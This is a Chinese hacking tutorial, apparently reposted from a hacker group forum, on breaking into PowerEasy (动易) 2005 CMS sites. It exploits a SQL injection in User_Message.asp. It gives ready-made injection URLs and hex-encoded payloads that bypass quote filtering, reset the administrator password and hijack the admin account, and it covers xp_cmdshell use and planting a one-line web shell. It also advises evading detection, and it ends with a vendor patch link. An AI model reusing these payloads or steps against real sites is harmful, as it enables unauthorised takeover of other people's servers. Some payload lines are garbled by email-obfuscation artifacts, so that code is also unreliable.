入侵动易2005 's

admin 2017年4月4日18:35:05评论261 views字数 3047阅读10分9秒阅读模式
摘要

作者:怪狗 文章来源:华夏黑客同盟

影响版本:标准版 SQL版
企业版 SQL版
学校版 SQL版
政府版 SQL版
全功能版 SQL版
免费access 版
所有版本(包括免费版、商业SQL版及Access版)
不被影响的版本:2005动易ASSESS版
漏洞文件:Admin目录下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
User 目录下 User_Message.asp

作者:怪狗 文章来源:华夏黑客同盟
入侵动易2005  's
影响版本:

标准版 SQL版
企业版 SQL版
学校版 SQL版
政府版 SQL版
全功能版 SQL版
免费access 版
所有版本(包括免费版、商业SQL版及Access版)
不被影响的版本:2005动易ASSESS版
漏洞文件:Admin目录下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
User 目录下 User_Message.asp

等级:严重

描述:
此漏洞影响全部SQL版,如果用SA连接数据库黑客可以拿到系统管理员权限。如果用普通用户连接最严重情况,可以备份脚本木马。一般情况可能改管理员登陆密码,从而达到黑客登陆动易后台。控制整个动易系统!
ACCESS版可以得到管理员md5密码!

主要问题在于 User_Message.asp

http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90;

MessageID 没有严格过滤,有注入漏洞。只过滤了 单引号, 这就能挡住聪明的黑客吗?

我们来看一下,User_Message.asp的源代码、

————————————————————————————————————

<!–#include file="User_CommonCode.asp"–>

<%

Call PE_Execute("PE_AdminCommon", "User_Message")

%>

——————————————————————————————————————

动易系统是不开放源代码的,User_Message.asp 源代码的意思就是调用 PE_AdminCommon.dll 中的 User_Message 函数。

有人可能要问了这样的漏洞怎么发现的呢?

像这样的文件 只能用分支测试法 给这个文件用到的全部变量 都测试一遍。这是很耗时的测试方法。

2,分析漏洞

源程序是不开放的,所以源程序没什么好分析的。

现在我们来这漏洞入侵动易2005 sp1系统。

首先分两个版来说

1,SQL版,

(1,发现注入点

User_Message.asp 文件中的 MessageID 没有严格过滤。

测试,加 单引号,

正常返回。如图一

入侵动易2005  's

加 ; ,加 —

都显示出错。

如图二:

入侵动易2005  's

看提示 就明白有注入点了,加单引号没用,应当是过滤了引号。没关系过滤了单引号 阻挡不了我们入侵的步伐。

(2,绕过单引号

估计 注入点基本形式是这样的 select * from pe_XXX where MessageID=(注入点)

我们想注入这样的文件,就要绕过单引号。

下面这样的代码 我们可以用它来绕过单引号。

declare @a sysname

select @a=<command>

exec master.dbo.xp_cmdshell @a

上面这语句主要是用来绕过单引号。不过我们要改一下,

declare @a sysname

select @a=<command>

update pe_admin set [email protected] where id=1–

); declare @a sysname select @a=0x3300 update pe_admin set [email protected] where id=1–

完整的url

http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);[email protected][email protected][email protected]%20where%20id=1–

这条语句是给后台的id=1的管理员密码改成 [email protected]=0x3300 ,0x3300 是16进制的3.

执行成功之后如图3:

入侵动易2005  's

(3,得到管理员权限

分两步:

一,关联前台username

动易后台登陆 要关联前台用户。

先设置后台管理员的前台用户名,为我们注册的用户。

declare @a sysname

select @a=<command>

update pe_admin set [email protected] where id=1–

说到这里,[email protected] 如果改

比如我们注册的用户为111111

@a=0x310031003100310031003100

我怎么知道的呢?随便在网上找一个16进制转换器就知道了,

比如 用这个工具转换也行。

如图4

入侵动易2005  's

所以注入语句成了这样的

); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set [email protected] where id=1–

二,改后台登陆的password

接着给后台密码改成我们的密码。我们就可以想办法登陆了。

declare @a sysname

select @a=<command>

update pe_admin set [email protected] where id=1–

我们改后台密码,要改成已经加密的md5密码

比如我们提供一个,469e80d32c0559f8 这是admin888加密之后的MD5密码。

@a=0x3400360039006500380030006400330032006300300035003500390066003800

所以构造注入语句

); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set [email protected] where id=1–

大家感觉很简单吧!一般我们不这么做,教程 写给新手看的,不能太难。

在真正的黑客行为中,如果给人家的后台密码改了,管理员登陆不上去。人家必然会发现的。

所以 给高手提供思路 自己研究一下。

比如

1,可以插入一个管理员 用完之后删除

2,可以先暴出管理员密码,用完之后,再还原。

(4,上传木马

1,rootclass_menu_config.asp 文件中的菜单其它特效 中插入一句话木马。

如图 5

入侵动易2005  's

插入一句话木马之后,你可以用客户端连接了。

2,给上传属性改成可以上传ASP类型。上传时抓包 给最后一个加上结束符。(类似于动网上传)

SQL版我只说这么多了,如果你上传不了木马,或者是找不到后台管理地址,来我们论坛提问吧!有我们有办法解决。 http://bbs.77169.com

2,ACCESS版

(1,如果发现漏洞

在测试免费版的动易系统之时,发现免费的ACCESS版动易用户控制面板没有 发送短消息的功能。

不过,动易留有相关接口,登陆用户控制面板 直接浏览 User_Message.asp 也可以注入.

(2,注入过程(略)

mssql和access 注入过程是点不一样的。基本相同,这也留给大家自己去测试吧。

三,解决方案

临时解决方案:

解决方案(临时):更新补丁包中的三个文件,并先删除user目录下的User_Message.asp文件。SP2正式版中将会修复此漏洞,请目前使用SP1的用户尽快打好此补丁。

补丁下载: http://download.asp163.net/PowerEasy2005SP1Patch.rar

感谢llikz、怪狗等网友对系统进行安全检测并无私提供相关漏洞信息!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月4日18:35:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   入侵动易2005 'shttps://cn-sec.com/archives/48307.html

发表评论

匿名网友 填写信息